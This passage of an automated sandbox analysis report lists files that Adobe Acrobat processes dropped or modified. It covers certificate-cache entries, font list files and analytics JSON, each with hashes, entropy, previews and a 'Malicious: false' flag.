')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7464849065063075
Encrypted:	false
SSDEEP:	3:kkFklWgv6MlltfllXlE/HT8kkflZNNX8RolJuRdxLlGB9lQRYwpDdt:kKPMHeT8nNMa8RdWBwRd
MD5:	355869674B0908D3227091F00328553E
SHA1:	4DA98DB318990F9CDFAC41227605747DF9040E2D
SHA-256:	DB2E005DE22FBBD3BCFCF75723CD3078657C642F9F272E854BFDDDD369F5C368
SHA-512:	A2DA0C6E88B8650608F9735F16529742811B219A15CBA80686038BB0553461D978006F87D2028CBA2EE96CED054DF89A37F6E60E14F523624B3289DC7D93079B
Malicious:	false
Preview:	p...... ..........79.e..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2337057269122753
Encrypted:	false
SSDEEP:	6:kKDN4L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:LN4iDImsLNkPlE99SNxAhUe/3
MD5:	34EE8145FF0CB84F2652BCF84C69E251
SHA1:	FEBB43C269564F9E7E755FB482882D0133EDB98B
SHA-256:	56C0A6E0542C0D0FE3105635203D767ABDF83095FE19DB15F857BEE566F35978
SHA-512:	7F503BEC89BA7B9E46D75DFC9978A0075BB640B2FE3319CC2766C0A56718A3F063575DA43632B0D5578FCA9B6EAC7FA5EF3EC99432582B4D3BFB9B86E07CAE2B
Malicious:	false
Preview:	p...... .........qh].e..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6616

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6616

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.357336981238535
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJM3g98kUwPeUkwRe9:YvXKX4z/wftYpW7whGMbLUkee9
MD5:	BD788A249439800E2AD920C603767BDB
SHA1:	CB46F21A6B4172A875F485834F791585434D3423
SHA-256:	2E01362AD98D1E97E10BE03905455CFBBD6B5BDE5AEE3A6D912287578D5E9C8D
SHA-512:	EBCCE9FE71D687B2DB49A1123D9C05CDBAA5D5BE01243F617843A43BA41473AEBDBD299C2A38C7127291502C47DC6C2EAD5696B7F5299B7D3F1E46ABB12A36C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.295263543188887
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJfBoTfXpnrPeUkwRe9:YvXKX4z/wftYpW7whGWTfXcUkee9
MD5:	2349F08CF2A0D826E6CCEBC1D6CABF35
SHA1:	2B5E95E236A4E2E80418E8F85D17C9AC1311610A
SHA-256:	37C491ACD4CFE80E0632A7810CEB3D34BC903DE4C3766FD2AFFCA63BDAF55A61
SHA-512:	2EE6D9AFF37D59C112C6A1945905C9751F90148B5C599751D7DF4154CA1B74B22733BCEAD4B4CDDE0B91093379CEA4C43623CC9B6187F037F6AA84D09C1FCF11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2734024579341545
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJfBD2G6UpnrPeUkwRe9:YvXKX4z/wftYpW7whGR22cUkee9
MD5:	924C8DEA12DC5D56D3D76F248ED573B6
SHA1:	2C9D2A9519C21DDDBDF4695B17E7F7332CE10E1A
SHA-256:	D347F75E6A64024C48BDC3231D67DD469D4598087BA14D8FEC5D1E985C6B7722
SHA-512:	02B1B5A58E68FDCBEC62ACDDD1A5020ACD27097341E3A6EC989B0F9E50E33EA0CCA5531308124F4004A5426503EDD4131D87578DEE9540C272613BBE29101DAA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.336018406082693
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJfPmwrPeUkwRe9:YvXKX4z/wftYpW7whGH56Ukee9
MD5:	54FDA86C646883A07769A073476D394A
SHA1:	02E91BC3B794C8C0017FCAB4C9ABB12EBE2347E7
SHA-256:	6AA5807F8A1E8FFF66A73D24498CC8924F26B118C781C252522CBEE82D18BD4D
SHA-512:	ECDC2B715AAE4D746831FBC216A94821B81420A8A580755C24EEC3AE797FC121CD931ECAD3B5DD07D1C5706E56E8911F3C4F976C0E4653892735BF5E95DE4663
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684836745242186
Encrypted:	false
SSDEEP:	24:Yv6XmweinpLgE9cQx8LennAvzBvkn0RCmK8czOCCSon:Yvfqnhgy6SAFv5Ah8cv/a
MD5:	2F68CE6C3D5FF14C4E8C275B013486E4
SHA1:	873705C1DF8FB2D1EFE3A4D06C3BEFC273CB230B
SHA-256:	2737DC87281C7D1B00F252E1CEFEC856DE1DAE5810C9C0539B40D71377627654
SHA-512:	A3B0DDF9844275D3754229B1911C89A2A57AB79B4B932C813DF04DB481FD03B3AA34D6DC1A7E8C8CC226746195C82F285B5431F994AF6B2052BD9AB3DCA522EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.278415778119937
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJf8dPeUkwRe9:YvXKX4z/wftYpW7whGU8Ukee9
MD5:	F56ADADF8232FBC026755C43DCEB1C89
SHA1:	494DC74EF4CC8FB7DE9511CB1C8B434A6B8B188F
SHA-256:	1D2F9100C6BAD9E7080C97511A01912F42C67E6D5B1396F8225B9FD356BF37A7
SHA-512:	2388AD5EA50FB4E753433D5A3F6002DE6F26010B00861E0A9E7C24CE24C00C1C957309CE76C9C167CD2BA9B5486123943162FC194C1120F4A9C04B22FC09B669
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.278972309009452
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJfQ1rPeUkwRe9:YvXKX4z/wftYpW7whGY16Ukee9
MD5:	6BA2A7520BA4235955C03D488B80D17A
SHA1:	6F55BCD4BECE89E1890919F8362CF7CF06927E15
SHA-256:	239193E11A7D4D98026C9C32F929D864FCB5CA560C21AA4F95E35D112E3F5BF0
SHA-512:	8EDB2C199DE4486D83D85DDF4AA70787FC08CC8F39B5A9D911CBD2436A045551AED816A453282607E7B7EAF8E62BEF89C948E2BA0FBFB42F6F0C843ABDE81E91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297210155177762
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJfFldPeUkwRe9:YvXKX4z/wftYpW7whGz8Ukee9
MD5:	6D04937CCAD3943E5C76BABF83FF6131
SHA1:	51D9C5239C2187026EFEC9C426B218F1F1566262
SHA-256:	900B45280FB84344170353383D603E6E0BBF55927DC4907CDC97F29F33E710CF
SHA-512:	7E7ABD738B1C9EEC1C062B35C94B747E531C186DD54E509FE3213BB6EF141E8FE117A0DB300F844C0968E04A937ACEA59B64712B5996EF2903BE4CB85138A4CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.307060115355955
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJfzdPeUkwRe9:YvXKX4z/wftYpW7whGb8Ukee9
MD5:	A35CB7FC51715D63C53B92BC1B4E19C5
SHA1:	6BC1739FF2A8800BB4FE888541BF07B5326AFCAA
SHA-256:	77B9C5709812F2091926353644E545BE2EB6834BA92AA45562B56FCDEE1134E6
SHA-512:	64A0DE6BC76ED1A198538D8BBD7BD5D15FFD1CDAE075863BD7E6646212B38B10439231F6AC6D5F9EC7D7EB2B44DACAA276363C7494F5B88AA3C59A7489073768
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286842398987048
Encrypted:	false
SSDEEP:	6:YEQXJ2HX4z/p6fGLVb+FIbRI6XVW7+0YtRkoAvJfYdPeUkwRe9:YvXKX4z/wftYpW7whGg8Ukee9
MD5:	BDAF57C76DD5779923CF9FEFD07D2576
SHA1:	67B2AC07222088DBEB6C568E7B60936E9C50F754
SHA-256:	51741C486AE5F7BBD3B641142E76441A326D602FC3797F27273C74FF890CDDDD
SHA-512:	D016AA58FFF8E55B6DBCB88FACD115788590AEA90681427462B63104CB06E91311FD649F49DB69F3C61F62E35956F9D857485AACFE7D3124F861B9ABF59CF0B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cbb0b6dd-f597-4e8d-bb31-3c1cdd9e8f60","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736932283142,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.272960114832405
Encrypted:	false
